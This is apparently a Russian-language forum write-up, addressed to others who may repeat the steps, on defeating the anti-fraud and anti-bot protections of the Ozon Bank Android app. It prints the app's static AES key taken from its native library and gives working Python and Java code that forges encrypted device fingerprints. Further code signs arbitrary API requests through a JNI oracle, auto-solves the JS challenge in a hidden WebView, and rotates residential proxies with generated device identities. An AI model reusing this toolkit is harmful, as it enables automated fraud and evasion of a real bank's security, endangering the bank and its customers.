← все статьи
Как я расковырял антифрод маркетплейса
Три канала идентификации, статический ключ из .so и JNI-оракул
время чтения ~25 минут
Всех приветствую.
Пишу впервые, поэтому извиняюсь за сумбур заранее. Разберем, как я расковырял антифрод одного маркетплейса: слои защиты, ключ шифрования из нативной библиотеки и один способ, который выглядит глупо, но работает.
Хотел запостить это на другом форуме, но друг посоветовал начать здесь. Надеюсь, не прогадал.
Честно скажу сразу, материала получилось много. Если вы из тех, кто читает только дайте мне кода и все - листайте вниз к спойлерам с кодом, но я все-таки советую читать по порядку, иначе будет каша в голове 😆
Спойлер
Ничего сверхъестественного, все как у людей:
- apktool - распаковать и собрать APK, полазить по smali;
- jadx - читать Java-логику глазами;
- capstone - дизассемблировать arm64;
- pycryptodome - AES для расшифровки пейлоадов;
- adb - реальный телефон (arm64) + эмулятор для быстрых прогонов.
Спойлер
Первым делом я полез в декомпил и почти сразу понял неприятное: каналов идентификации не один, а три. Нашел один - обрадовался. Нашел второй - напрягся. Нашел третий - понял, что теперь их надо еще и согласовывать между собой. 📉
План такой:
- разбираем все три канала;
- достаем статический ключ из .so;
- понимаем алгоритм подписи запросов;
- пишем JNI-оракул, который вызывает нативную функцию без самого приложения;
- собираем пейлоад антибота и заставляем сервер его проглотить;
- автоматически проходим JS-челлендж;
- собираем клиент и находим нормальные прокси.
Спойлер
Чтобы не быть голословным, вот конкретные артефакты, по которым все воспроизводится 1:1. Версия приложения на момент разбора: 19.33.1 (versionCode 16030341), версия Ozon ID SDK: 14.15.0.
Оригинальный APK из стора:
Нативная библиотека libozon-id-sdk.so (sha256 по ABI):
Экспортируемые символы библиотеки (адреса виртуальные):
Блоб 84 байта (key = blob[0:32], algo = blob[64:67], cipher = blob[67:84]):
Строки, найденные прямо в бинарях (файловые оффсеты):
А в dex, кроме этого, лежат строки: d9f8368943e8fe03, 14.15.0, OzonID SDK 14.15.0, ozonbankfinance_android.
code
package : ru.ozon.fintech.finance
label : Ozon Банк
versionName : 19.33.1
versionCode : 16030341
size : 139214377 bytes
sha256 : 2e0ac90df07146d17d3d9432f608b5ce39663a04d242409214c5a791ec0b303c
code
arm64-v8a : c0fa6b288669572c5dff5fe86766b6005c32a0bd6c9fc1122a7e404700929646 (899192 bytes)
armeabi-v7a : 32b4b78db57208f29d2e15548aed10e6f7a0db78eaae06105ef15a5a2c79af61 (566748 bytes)
x86_64 : 4332436c4b610e971a16da27b82021b3fb25568d9d3c090ca4dd0df314501b7b (869464 bytes)
code
0xe2da8 D bytes ; статический блоб, 84 байта
0x62d08 T Java_ru_ozon_id_ad_AdManager_getValue1
0x63880 T Java_ru_ozon_id_ad_AdManager_getValue2
0x63894 T Java_ru_ozon_id_amf_Amf_getValueNative
code
5d3a9d9237450777b3028be69a06bd1376ccc0d2f73748bedfc28909a551d789
290752c732d0da1d0a78cb327d53c8b66e61a67e6f6ae39c9bdf0d3c78832622
4145534145532f4346422f4e6f50616464696e67 = "AESAES/CFB/NoPadding"
code
libozon-id-sdk.so @ file offset 0x28876
x-ad-id @ file offset 0x42d0e
AESAES/CFB/NoPadding @ file offset 0xdade6
Спойлер
Команды, которыми я это делал:
Если хеши и адреса совпали - вы на той же версии, и весь дальнейший алгоритм повторится 1:1.
code
# 1. достать библиотеку из APK
unzip ozon_bank.apk lib/arm64-v8a/libozon-id-sdk.so -d out
# 2. сверить хеш
sha256sum out/lib/arm64-v8a/libozon-id-sdk.so
# c0fa6b288669572c5dff5fe86766b6005c32a0bd6c9fc1122a7e404700929646
# 3. посмотреть экспорты
nm -D --defined-only out/lib/arm64-v8a/libozon-id-sdk.so | grep Java_
# 0x62d08 ... getValue1
# 0x63880 ... getValue2
# 0x63894 ... Amf_getValueNative
# 4. вытащить блоб 84 байта (скрипт из раздела с кодом)
python3 extract_blob.py
# 5d3a9d92... / AESAES/CFB/NoPadding
Спойлер
Честно про ограничения, чтобы не было иллюзий:
- вся статья привязана к версии 19.33.1 и SDK 14.15.0. На других версиях смещения, а возможно и сам ключ, отличаются - блоб достается тем же скриптом заново;
- JS-челлендж у меня был v48 (видно по подключенному css style_v48_3.css). Он обновляется независимо от приложения;
- ответы сервера (incidentId, challengeURL, abt_data) одноразовые и завязаны на IP и cookies. Повторить чужой запрос байт-в-байт не выйдет;
- в entry-точке iso я гонял и как IN, и как RU - сервер в обоих случаях отдавал соответствующую страницу входа (в тестах на скринах виден индийский вариант, для РФ-аккаунта ставится RU).
Спойлер
Залезаю в декомпил, ищу все что связано с идентификацией устройства. Картина сложилась быстро. Итак, отправляется следующее:
Канал №1 - большой JSON FingerprintDTO, полей около 54. Его шифруют и шлют отдельным запросом.
Канал №2 - еще один отпечаток, DeviceStatus, уезжает base64-строкой в HTTP-заголовке.
Канал №3 - подпись запросов: набор заголовков x-o3-*, где самое сочное - нативная подпись.
Все три канала про одно и то же устройство. Поэтому главная ловушка для новичка - подменить каждый по отдельности и удивиться, почему прилетает бан. Нужна согласованность. Сейчас дойдем и до этого.
Спойлер
Класс ru.ozon.id.antibot.FingerprintDTO, 54 поля. Часть константы (типа версии их SDK), остальное тянется из системы. Собирается все в ru.cbdc.C4261bz0.a(type, str).
Источники по самым интересным полям:
Дальше объект уходит в JSON и шифруется. Вот тут начинается самое вкусное.
- model / manufacturer / brand / hardware / board / device / product - обычные Build.*;
- sdk / release / securityPatch / buildId / fingerprint / tags / time / user - тоже Build.*;
- экран, плотность, xdpi/ydpi - DisplayMetrics;
- пакет, версия, время установки - PackageInfo;
- локаль, таймзона - Configuration и TimeZone;
- isRoot - ru.cbdc.Yd0.a;
- androidDeviceId - Settings.Secure "android_id";
- isEmulator - свойство ro.boot.qemu;
- ozonIdSdkVersion - константа 14.15.0.
Спойлер
Поле androidFingerprintType. Название намекает на Build.TAGS, правда? Ага, конечно. На деле туда кладут строку типа задачи антибота: antibot / asyncOnAuthAppLaunch / asyncOnLogin.
Я разумеется сунул туда Build.TAGS и полвечера не понимал, почему сервер морщится. Вот из-за таких мелочей и уходит время 🤦
Спойлер
Шифрование живет в libozon-id-sdk.so, класс ru.ozon.id.amf.Amf. Метод Amf.getValueNative() возвращает 84 байта. Открываю в дизассемблере - и что вы думаете? Он просто копирует статический блоб из секции данных. Никаких хитрых вычислений, просто держите массив:
Блоб лежит по адресу 0xe2da8 и это не просто ключ, а упакованная структура: внутри и ключ, и название алгоритма, и режим. Достаю через program headers:
Ключ оказался статическим. А это значит, что он одинаков для всех устройств. То есть можно зашифровать свой пейлоад родным ключом, и сервер его примет за настоящий. Вот в этот момент я понял, что дело пахнет успехом 📈
code
malloc(0x54) ; 84 байта
SetByteArrayRegion(ptr@0xdddb0, 0, 0x54) ; копируем блоб
return byte[84]
Спойлер
code
import struct
P = 'libozon-id-sdk.so'
f = open(P, 'rb').read()
e_phoff = struct.unpack_from('<Q', f, 0x20)[0]
e_phentsize = struct.unpack_from('<H', f, 0x36)[0]
e_phnum = struct.unpack_from('<H', f, 0x38)[0]
segs = []
for i in range(e_phnum):
b = e_phoff + i * e_phentsize
if struct.unpack_from('<I', f, b)[0] == 1: # PT_LOAD
segs.append((struct.unpack_from('<Q', f, b + 0x10)[0],
struct.unpack_from('<Q', f, b + 0x08)[0],
struct.unpack_from('<Q', f, b + 0x20)[0]))
def off(v):
for va, o, fs in segs:
if va <= v < va + fs:
return o + (v - va)
blob = f[off(0xe2da8):off(0xe2da8) + 84]
print('key :', blob[0:32].hex())
print('algo :', blob[64:67])
print('cipher :', blob[67:84])
Спойлер
Все ищется одной строкой:
И тут я зацепился за отсутствие JNI_OnLoad. А это значит, что нативные методы привязываются по имени, а не через dyn-регистрацию. Для нас - подарок судьбы, и дальше мы им воспользуемся.
code
$ nm -D --defined-only libozon-id-sdk.so | grep Java_
Java_ru_ozon_id_ad_AdManager_getValue1
Java_ru_ozon_id_ad_AdManager_getValue2
Java_ru_ozon_id_amf_Amf_getValueNative
Спойлер
Смотрим C4261bz0.a() и видим всю картину целиком:
Плейнтекст - это миллисекунды, запятая, JSON. Шифруется AES в CFB, потом склейка с IV и base64.
Разумеется я не поверил себе на слово и прогнал round-trip:
В плейнтексте - ровно тот JSON, что мы и шифровали. И вот, собственно, подтверждение от сервера: наш отпечаток принят.
В тот момент я выдохнул. Ключ есть, схема воспроизведена, сервер кушает наш пейлоад. Но рано радовался - помимо отпечатка есть еще подпись. 👌
code
json_string = moshi.toJson(fingerprint_dto)
key = blob[0:32] # либо blob[32:64], если включен stage-флаг
if mf_token is not None:
key = key[0:24] + mf_token[-8:] # при наличии токена инцидента ключ доклеивается
plain = str(int(time.time() * 1000)) + "," + json_string
cipher = Cipher("AES/CFB/NoPadding", key)
ct = cipher.doFinal(plain)
payload = base64( cipher.getIV() + ct ) # IV идет первым
Спойлер
code
import base64
from Crypto.Cipher import AES
KEY = bytes.fromhex('5d3a9d9237450777b3028be69a06bd1376ccc0d2f73748bedfc28909a551d789')
def decode(payload: str) -> str:
raw = base64.b64decode(payload)
iv, ct = raw[:16], raw[16:]
cipher = AES.new(KEY, AES.MODE_CFB, iv=iv, segment_size=128)
return cipher.decrypt(ct).decode()
print(decode('<payload из логов>'))
Спойлер
Подписывается каждый запрос. За это отвечает OkHttp-интерцептор ru.ozon.id.ad.AdManager.
Логика: берется URL, имя приложения, версия, значение заголовка x-o3-fp, метод и некий adId. Все летит в нативный getValue1(...). Результат в base64 кладется в заголовок, имя которого дает второй метод - getValue2().
Забавный момент: getValue2() всегда возвращает одно и то же - x-ad-id. А x-o3-fp это вообще константа из конфига: 1.d9f8368943e8fe03. Все страшное лежит на поверхности 🦆
Лезем в дизасм getValue1:
Тут был выбор. Либо сидеть и воспроизводить алгоритм руками (tolower, reverse, XOR), либо пойти хитрее. Думаю вы уже поняли, что я выбрал 🧠
code
Java_ru_ozon_id_ad_AdManager_getValue1:
...
bl 0xd1550 ; вытащить строку из jstring (x0=env, x1=jstring)
...
bl 0xd15f0 ; получить счетчик / время
bl 0xd1600 ; дописать аргумент в буфер
bl 0xd1610 ; дописать разделитель ("1".."6")
...
; tolower (A-Z -> a-z)
; reverse (разворот строки)
; xor-слой ('.' -> '!')
...
blr x8 ; env->NewByteArray(len)
blr x8 ; env->SetByteArrayRegion(...)
ret
Спойлер
Если докопать функцию до конца, видно что она клеит строку по строгой схеме: шесть аргументов, между ними - разделители-цифры по порядку.
url + "1" + appName + "2" + appVersion + "3" + x-o3-fp + "4" + method + "5" + <секунды> + "6" + adIdПотом вся строка проходит через:
- приведение к нижнему регистру;
- реверс;
- XOR-слой (' . ' заменяется на ' ! ');
- и отдается как byte[], который кодируется в base64.
code
import base64
sig = base64.b64decode(x_ad_id)
print(len(sig), sig[:9], sig[9:11]) # [9 случ.] [1.] [hex millis]...
Спойлер
Раз функции экспортируются по имени, их можно дернуть из своего кода, вообще не восстанавливая алгоритм. Это и есть оракул: мы не знаем что внутри, но нам и не надо.
Главное - воссоздать класс с тем же FQN и теми же сигнатурами:
Собираем простенький APK (солвер на Java, а сам разбор я вел на Python), кидаем рядом libozon-id-sdk.so под все ABI - и пробуем:
Структура подписи такая:
code
package ru.ozon.id.ad;
public final class AdManager {
static { System.loadLibrary("ozon-id-sdk"); }
public AdManager() {}
// ВАЖНО: методы instance (не static),
// иначе 6 строк не попадут в x2..x7 на arm64
public final native byte[] getValue1(String s1, String s2, String s3, String s4, String s5, String s6);
public final native String getValue2();
}
code
AdManager m = new AdManager();
Log.i("RATSIGN", "getValue2 = " + m.getValue2());
byte[] sig = m.getValue1(
"https://api.ozon.ru/composer-api.bx/_action/initAuth",
"ozonbankfinance_android",
"19.33.1(16030341)",
"1.d9f8368943e8fe03",
"POST",
"3fd5c2606717c5b03fe22ad7bb3f11253fe7");
Log.i("RATSIGN", "sign = " + Base64.encodeToString(sig, Base64.NO_WRAP));
[9 случайных]1.[hex millis].Недетерминирована, ровно как в оригинале. Работает и на x86_64, и на arm64. Когда я увидел осмысленный вывод из своего APK, где нет ни строчки кода приложения, я минут пять просто сидел и улыбался 🎉 Итог: подписываем произвольные запросы родной нативной функцией, не зная ее алгоритма.
Спойлер
Второй канал - ru.ozon.fintech.antifraud.internal.models.DeviceStatus. JSON, base64, заголовок x-device-status.
Полей тьма: vendor, device, таймзона, carrier, emulator, ids, foundApps, isRoot, battery, screenOn, permissions, sessionId, cpu/ram, акселерометр, гироскоп, магнитометр, давление, debugInfo... В общем, досье.
Для нас критично вот что: часть полей пересекается с первым отпечатком (модель, root, emulator), и они обязаны совпадать. Иначе сервер видит рассинхрон: в одном канале Pixel 7, в другом - реальная модель телефона. Именно на этом палятся почти все.
Кстати, cert_hash у меня оказался пустым - то есть подменять нечего. Но проверять его стоит, у другой версии он может быть.
Вывод: один набор данных об устройстве - и везде только он. Иначе рассинхрон и бан.
Спойлер
code
{"vendor":"Google","device":"Pixel 7",
"raw_ids":{"a_build_fingerprint":"google/panther/panther:14/UP1A.231005.007/10754064:user/release-keys"},
"found_apps":[],"is_root":false,"emulator":false,
"debug":{"usb_debug_enabled":false,"wifi_debug_enabled":false,"is_debugging":false},
"cert_hash":null,"carrier":"YOTA"}
Спойлер
Кроме подписи шлется куча заголовков, часть которых должна совпадать с отпечатком:
Особое внимание на x-ob-model-device - обязан совпадать с моделью в отпечатке. Такие мелочи и рушат всю связку.
code
x-o3-app-name : ozonbankfinance_android
x-o3-app-version : 19.33.1(16030341)
x-o3-device-type : mobile
x-o3-device-language : ru
x-o3-fp : 1.d9f8368943e8fe03
x-app-version : app/android/19.33.1/<pkg>/19.33.1
x-app-uuid : <installId>
x-ob-sessionid : <sessionId>
x-ob-model-device : Google Pixel 7
x-ob-osver : 14
x-app-store : google
x-ob-theme : light
x-ob-new-arch : true
x-ob-interface-scale : 1.0:2.75
x-ob-insets : 0,0,0,0
x-ob-cold-start : false
x-requested-with : ru.ozon.app
x-ad-id : <подпись>
Спойлер
Собираем все вместе:
Итог: сервер валидирует отпечаток и отдает isValid: true. Я потирал руки, но, как оказалось, это было еще не все. Дальше меня ждал сюрприз.
- дергаем эндпоинт авторизации;
- сервер отвечает 403 и заголовком ozon-antibot: 1, ставит cookie abt_data;
- собираем FingerprintDTO и шифруем родным ключом;
- шлем на /abt/result-mobile;
- сервер отвечает {"isValid": true}.
code
dto = build_fingerprint_dto(type='asyncOnLogin', device_id=android_id)
mf = build_mf(dto)
requests.post(
'https://api.ozon.ru/abt/result-mobile?isAsyncOnLogin=true',
json={'mf': mf, 'mfToken': None, 'n': None},
cookies={'abt_data': abt_data},
headers=sign_headers(url, 'POST')
)
Спойлер
Помимо заголовка ozon-antibot: 1, сервер в теле ответа присылает JSON с полем challengeURL. Прямым текстом: реши челлендж.
Перехожу по ссылке - HTML-страница, которая подгружает JS-бандл abt-challenge (у меня v48) и что-то считает.
Логика солвера - проще некуда:
Внутри - WebView с JS, seed-cookies и поллинг до изменения cookie:
После прохождения страница уходит на /abt/challenge/ok, cookie abt_data обновляется.
Секунд пять, без участия человека. И подчеркну: это не разгадка капчи, а автоматическое исполнение их же страницы. Этот момент радует меня больше всего
code
{"incidentId": "fab_chlg_...",
"challengeURL": "https://api.ozon.ru/challenge.html?challenge=...",
"supportURL": "...",
"timeoutSec": 180,
"blockURL": "...&bm=block_2&..."}
Спойлер
Путь первый - реверсить JS целиком. Трудоемко, и бесперспективно вдолгую: версия сменится, логика поменяется, работа в тыкву.
Путь второй - не решать челлендж, а исполнить его как браузер. Мы на Android, а тут браузерный движок из коробки.
Взял второй. Он устойчивее: даже если сервер сменит версию, солвер продолжит работать, потому что исполняет их же код.
- закинуть cookies в CookieManager;
- открыть challengeURL в скрытом WebView;
- дождаться, пока JS отработает и cookies изменятся;
- забрать cookies и повторить запрос.
code
public static String solve(Activity act, String url, Map<String,String> seed, long timeoutMs) {
final CountDownLatch latch = new CountDownLatch(1);
final CookieManager cm = CookieManager.getInstance();
cm.setAcceptCookie(true);
act.runOnUiThread(new Start(act, url, seed, cm, latch)); // создаем WebView на UI-потоке
latch.await(timeoutMs, TimeUnit.MILLISECONDS);
return cm.getCookie("https://api.ozon.ru"); // возвращаем cookies
}
code
WebView wv = new WebView(act);
WebSettings s = wv.getSettings();
s.setJavaScriptEnabled(true);
s.setDomStorageEnabled(true);
s.setUserAgentString(UA);
for (Map.Entry<String,String> e : seed.entrySet())
cm.setCookie("https://api.ozon.ru", e.getKey() + "=" + e.getValue());
cm.flush();
wv.loadUrl(challengeUrl);
new Handler(Looper.getMainLooper()).postDelayed(new Poll(cm, latch), 1500);
Спойлер
А вот тут я споткнулся по крупному. Долго гонял все с обычного IP - и после серии запросов сервер прогрелся и начал отдавать жесткий бан с признаком bm=block_2. Вроде все правильно, подпись сходится, отпечаток валиден - а летит бан.
И тут меня осенило: дело в IP. Переехал на чистые резидентные прокси - и бан снялся. Вместо block_2 сервер начал отдавать fab_chlg_, то есть челлендж, который мы уже умеем решать.
Отдельная боль - SOCKS5. Стоковый Android-стек не умеет SOCKS5 с аутентификацией, поэтому пришлось писать свой HTTP/1.1 поверх SSLSocket:
И важный момент про TLS, который часто упускают: прокси туннелирует TCP, а TLS строится локально, end-to-end. Поэтому JA3 через прокси не меняется, он идентичен прямому соединению. Для антифродов, которые сверяют TLS-отпечаток, это критично.
code
# SOCKS5: приветствие -> аутентификация -> CONNECT
s.sendall(b"\x05\x01\x02") # требуем user/pass
assert s.recv(2) == b"\x05\x02"
s.sendall(auth(user, password))
assert s.recv(2) == b"\x01\x00"
s.sendall(connect_domain("api.ozon.ru", 443))
# далее - обычный TLS поверх полученного сокета
Спойлер
Финальный флоу:
Воспроизводится стабильно на разных резидентных IP с разными личностями. Все четыре звена - подпись, отпечаток, челлендж и сам запрос - работают связкой. Когда я первый раз увидел 200 OK с нормальным DTO, честно, не поверил и перезапустил еще раз пять
- загружаем личность для прокси;
- initAuth (clientId = ozonbankfinance_android);
- сервер отдает 403 + abt_data;
- шифруем FingerprintDTO и шлем на /abt/result-mobile -> isValid: true;
- открываем challengeURL в WebView -> /abt/challenge/ok;
- повторяем entry с обновленными cookies -> 200 OK и валидный DTO.
code
{"data":{"title":"Введите номер телефона",
"subtitle":"Мы отправим код или позвоним...",
"inputs":[{"type":"phone","name":"phone","countrySelect":{...}}]}}
Спойлер
Для любителей хронологии:
- другой банк - осечка, нативная защита убивает процесс
- переезд на маркетплейс, знакомство с Ozon ID;
- найдены три канала отпечатка;
- из .so вытащен статический ключ (84 байта);
- AES-CFB воспроизведен, round-trip сошелся;
- разобран алгоритм подписи, написан JNI-оракул
- MF-пейлоад собран, сервер отвечает isValid: true;
- стопор: прогретый IP дает block_2 - переезд на резидентные прокси;
- сервер меняет бан на JS-челлендж - написан WebView-солвер;
- челлендж пройден, entry вернул 200 и EntryDTO
Спойлер
Что отняло больше всего времени:
- Привязка нативных методов. static для getValue1 нельзя - на arm64 аргументы не попадут в нужные регистры;
- Опечатка в ключе. Один пропущенный hex-символ = 83 байта вместо 84 и все ломается. Ключ - только из .so программно;
- Рассинхрон каналов. Разные устройства в FingerprintDTO и x-device-status = палево;
- Порядок запросов. Отпечаток логичнее слать проактивно, а не только после 403;
- IP. Прогретый IP = block_2, чистый резидентный = челлендж;
- WebView и прокси. Челлендж идет с IP устройства, API - через прокси. Пока связано через cookie, но на будущее стоит гнать все через прокси.
Спойлер
Что мы сделали по итогу:
- разобрали три канала идентификации;
- вытащили статический ключ из нативной библиотеки;
- воспроизвели AES-CFB и подтвердили сервером (isValid: true);
- разобрали алгоритм подписи и написали JNI-оракул;
- собрали пейлоад антибота и прошли JS-челлендж через WebView;
- построили клиент с резидентными прокси и правилом один IP - одна личность.
Спойлер
Ниже я собрал весь рабочий код, который использовал сам. Ничего не выкидывал, все как есть, включая грабли и костыли. Код разбит по файлам, чтобы было проще ориентироваться. Если будете повторять - начинайте с кейса ключа, потом оракул подписи, потом солвер.
Спойлер
Первый шаг - достать статический блоб 84 байта из нативной библиотеки.
code
import struct
P = 'libozon-id-sdk.so'
f = open(P, 'rb').read()
# разбираем program headers, чтобы получить файловые смещения
e_phoff = struct.unpack_from('<Q', f, 0x20)[0]
e_phentsize = struct.unpack_from('<H', f, 0x36)[0]
e_phnum = struct.unpack_from('<H', f, 0x38)[0]
segs = []
for i in range(e_phnum):
b = e_phoff + i * e_phentsize
if struct.unpack_from('<I', f, b)[0] == 1: # PT_LOAD
segs.append((struct.unpack_from('<Q', f, b + 0x10)[0],
struct.unpack_from('<Q', f, b + 0x08)[0],
struct.unpack_from('<Q', f, b + 0x20)[0]))
def off(v):
for va, o, fs in segs:
if va <= v < va + fs:
return o + (v - va)
blob = f[off(0xe2da8):off(0xe2da8) + 84]
key = blob[0:32] # prod-ключ (если stage-флаг - blob[32:64])
algo = blob[64:67] # b'AES'
cipher = blob[67:84] # b'AES/CFB/NoPadding'
print('key :', key.hex())
print('algo :', algo)
print('cipher :', cipher)
Спойлер
Декодер нужен для проверки round-trip, а билдер - чтобы собирать отпечаток и шифровать его родным ключом.
code
import base64, json, os, time
from Crypto.Cipher import AES
KEY = bytes.fromhex('5d3a9d9237450777b3028be69a06bd1376ccc0d2f73748bedfc28909a551d789')
CIPHER = 'AES/CFB/NoPadding'
def decode_fingerprint(payload: str) -> str:
raw = base64.b64decode(payload)
iv, ct = raw[:16], raw[16:]
c = AES.new(KEY, AES.MODE_CFB, iv=iv, segment_size=128)
return c.decrypt(ct).decode()
def build_mf(dto: dict, mf_token: str = None) -> str:
key = KEY
if mf_token is not None:
key = KEY[0:24] + mf_token[-8:].encode()
plain = f"{int(time.time() * 1000)}," + json.dumps(dto, separators=(',', ':'), ensure_ascii=False)
iv = os.urandom(16)
c = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
ct = c.encrypt(plain.encode())
return base64.b64encode(iv + ct).decode()
def fingerprint_dto(dtype: str, device_id: str) -> dict:
return {
"androidFingerprintType": dtype,
"androidModel": "Pixel 7",
"androidManufacturer": "Google",
"androidBrand": "google",
"androidHardware": "panther",
"androidBoard": "panther",
"androidDevice": "panther",
"androidProduct": "panther",
"androidSdk": 34,
"androidRelease": "14",
"androidSecurityPatch": "2024-01-05",
"androidBuildId": "UP1A.231005.007",
"androidRadioVersion": "g5300g-000000-240101-B-11012446",
"androidFingerprint": "google/panther/panther:14/UP1A.231005.007/10754064:user/release-keys",
"androidTags": "release-keys",
"androidType": "user",
"androidTime": 1698796800000,
"androidUser": "android-build",
"androidBootloader": "slider-1.0-10062794",
"androidSku": "unknown",
"androidOdmSku": "unknown",
"androidDisplay": "UP1A.231005.007",
"androidHost": "abfarm-release-rbe-64-0004",
"androidSupportedAbis": ["arm64-v8a", "armeabi-v7a", "armeabi"],
"androidSocManufacturer": "Google",
"androidSocModel": "Tensor G2",
"androidScreenWidth": 1080,
"androidScreenHeight": 2400,
"androidDensity": 2.75,
"androidDensityWidth": 420.0,
"androidDensityHeight": 420.0,
"androidPackageName": "ru.ozon.fintech.finance",
"androidVersionName": "19.33.1",
"androidFirstInstallTime": 1780000000000,
"androidLastUpdateTime": 1780000000000,
"androidVersionCode": 16030341,
"androidLocales": ["ru-RU"],
"androidTimezoneId": "Asia/Krasnoyarsk",
"androidTimezoneRawOffset": 25200000,
"androidTimezoneDisplayName": "Krasnoyarsk Standard Time",
"androidIsDeviceSecure": True,
"androidIsDebug": False,
"androidConnectionType": "WIFI",
"androidIsVpnConnected": False,
"androidIsRoot": False,
"androidIdentifierForVendor": None,
"androidDeviceId": device_id,
"androidDevelopmentSettingsEnabled": 0,
"androidAdbEnabled": 0,
"androidStayOnWhilePluggedIn": 0,
"androidDebugApp": None,
"androidWaitForDebugger": 0,
"androidIsEmulator": None,
"androidOzonIdSdkVersion": "14.15.0",
}
if __name__ == '__main__':
dto = fingerprint_dto('asyncOnLogin', '3f96f7afad658ec0')
mf = build_mf(dto)
print('mf =', mf)
print('decoded =', decode_fingerprint(mf))
Спойлер
Класс оракула. Сигнатуры instance и повторяют оригинал 1:1.
Обертка, которой я подписывал запросы:
Сборка APK с оракулом (aapt2 -> javac -> d8 -> apksigner):
code
package ru.ozon.id.ad;
public final class AdManager {
static {
System.loadLibrary("ozon-id-sdk");
}
public AdManager() {}
// instance-методы: 6 строк должны попасть в x2..x7 на arm64
public final native byte[] getValue1(String s1, String s2, String s3, String s4, String s5, String s6);
public final native String getValue2();
}
code
public final class Sign {
private static final AdManager AD = new AdManager();
public static String xadid(String url, String method, String app,
String ver, String xo3fp, String adId) {
byte[] sig = AD.getValue1(url, app, ver, xo3fp, method, adId);
return android.util.Base64.encodeToString(sig, android.util.Base64.NO_WRAP);
}
}
code
SDK=/opt/android-sdk
BT=$SDK/build-tools/34.0.0
AJ=$SDK/platforms/android-34/android.jar
rm -rf build && mkdir -p build/classes build/dexout
$BT/aapt2 link -o build/base.apk --manifest AndroidManifest.xml -I $AJ --auto-add-overlay
javac -source 8 -target 8 -bootclasspath $AJ -d build/classes $(find src -name '*.java')
$BT/d8 --lib $AJ --min-api 24 --output build/dexout $(find build/classes -name '*.class')
cp build/base.apk build/unsigned.apk
( cd build/dexout && zip -q ../unsigned.apk classes.dex )
zip -qr build/unsigned.apk lib # lib/arm64-v8a/libozon-id-sdk.so + x86_64
$BT/zipalign -f -p 4 build/unsigned.apk build/aligned.apk
keytool -genkeypair -keystore build/ks.jks -storepass android -keypass android \
-alias k -keyalg RSA -keysize 2048 -validity 10000 -dname "CN=d,O=d,C=US" >/dev/null 2>&1
$BT/apksigner sign --ks build/ks.jks --ks-pass pass:android --key-pass pass:android \
--out build/oracle.apk build/aligned.apk
adb install -r build/oracle.apk
Спойлер
Стандартный Android-стек не умеет SOCKS5 с авторизацией, поэтому пишем свой туннель.
code
public final class Socks5 {
public static Socket connect(String ph, int pp, String user, String pass,
String host, int port) throws IOException {
Socket s = new Socket();
s.connect(new InetSocketAddress(ph, pp), 12000);
s.setSoTimeout(20000);
s.setTcpNoDelay(true);
InputStream in = s.getInputStream();
OutputStream out = s.getOutputStream();
out.write(new byte[]{5, 1, 2}); // VER, NMETHODS, USER/PASS
out.flush();
byte[] r = readN(in, 2);
if (r[1] == 2) {
byte[] u = user.getBytes("UTF-8");
byte[] p = pass.getBytes("UTF-8");
ByteArrayOutputStream b = new ByteArrayOutputStream();
b.write(1); b.write(u.length); b.write(u);
b.write(p.length); b.write(p);
out.write(b.toByteArray()); out.flush();
r = readN(in, 2);
if (r[1] != 0) throw new IOException("socks5 auth code=" + r[1]);
} else if (r[1] != 0) {
throw new IOException("socks5 method code=" + r[1]);
}
byte[] hb = host.getBytes("UTF-8");
ByteArrayOutputStream b = new ByteArrayOutputStream();
b.write(5); b.write(1); b.write(0); b.write(3); // VER CMD RSV ATYP=DOMAIN
b.write(hb.length); b.write(hb);
b.write((port >> 8) & 0xff); b.write(port & 0xff);
out.write(b.toByteArray()); out.flush();
byte[] rep = readN(in, 4);
if (rep[1] != 0) throw new IOException("socks5 connect code=" + rep[1]);
int atyp = rep[3];
if (atyp == 1) readN(in, 4);
else if (atyp == 3) readN(in, readN(in, 1)[0]);
else if (atyp == 4) readN(in, 16);
readN(in, 2);
return s;
}
private static byte[] readN(InputStream in, int n) throws IOException {
byte[] b = new byteСпойлер
Минимальный клиент с cookie-jar, разбором chunked/Content-Length и редиректами.
code
public final class Http {
public final String ph; public final int pp;
public final String user; public final String pass;
public final Jar jar = new Jar();
public Http(String ph, int pp, String user, String pass) {
this.ph = ph; this.pp = pp; this.user = user; this.pass = pass;
}
public Resp req(String method, String url, String body, Map<String, String> headers) throws IOException {
String rest = url.substring(url.indexOf("://") + 3);
String hostPort = rest, path = "/";
int slash = rest.indexOf('/');
if (slash >= 0) { hostPort = rest.substring(0, slash); path = rest.substring(slash); }
int port = 443; String host = hostPort;
int colon = hostPort.indexOf(':');
if (colon >= 0) { host = hostPort.substring(0, colon); port = Integer.parseInt(hostPort.substring(colon + 1)); }
Socket tunnel = Socks5.connect(ph, pp, user, pass, host, port);
SSLSocket ssl = (SSLSocket) SSLSocketFactory.getDefault()
.createSocket(tunnel, host, port, true);
SSLParameters p = ssl.getSSLParameters();
p.setServerNames(Collections.singletonList(new SNIHostName(host)));
ssl.setSSLParameters(p);
ssl.startHandshake();
StringBuilder h = new StringBuilder();
h.append(method).append(' ').append(path).append(" HTTP/1.1\r\n");
h.append("Host: ").append(host).append("\r\n");
for (Map.Entry<String, String> e : headers.entrySet())
h.append(e.getKey()).append(": ").append(e.getValue()).append("\r\n");
if (!jar.header().isEmpty()) h.append("Cookie: ").append(jar.header()).append("\r\n");
byte[] bb = body == null ? new byte[0] : body.getBytes("UTF-8");
h.append("Content-Length: ").append(bb.length).append("\r\n");
h.append("Connection: close\r\n\r\n");
OutputStream os = ssl.getOutputStream();
os.write(h.toString().getBytes("ISO-8859-1"));
if (bb.length > 0) os.write(bb);
os.flush();
Resp r = readResponse(ssl.getInputStream());
ssl.close();
return r;
}
// readResponse + Jar опущены для краткости, логика обычная:
// status line -> headers -> (chunked | content-length | read-all)
// каждый Set-Cookie кладем в jar.
}
Спойлер
Один набор идентификаторов на прокси-IP, хранение в SharedPreferences.
code
public final class Identity {
public final String androidId, installId, deviceId, sessionId;
public static Identity load(Context ctx, String key) {
SharedPreferences sp = ctx.getSharedPreferences("rat_id_" + key, Context.MODE_PRIVATE);
String a = sp.getString("android_id", null);
String i = sp.getString("install_id", null);
String d = sp.getString("device_id", null);
String s = sp.getString("session_id", null);
boolean dirty = false;
if (a == null) { a = randHex(16); dirty = true; }
if (i == null) { i = UUID.randomUUID().toString(); dirty = true; }
if (d == null) { d = UUID.randomUUID().toString(); dirty = true; }
if (s == null) { s = UUID.randomUUID().toString(); dirty = true; }
if (dirty) sp.edit().putString("android_id", a).putString("install_id", i)
.putString("device_id", d).putString("session_id", s).apply();
return new Identity(a, i, d, s);
}
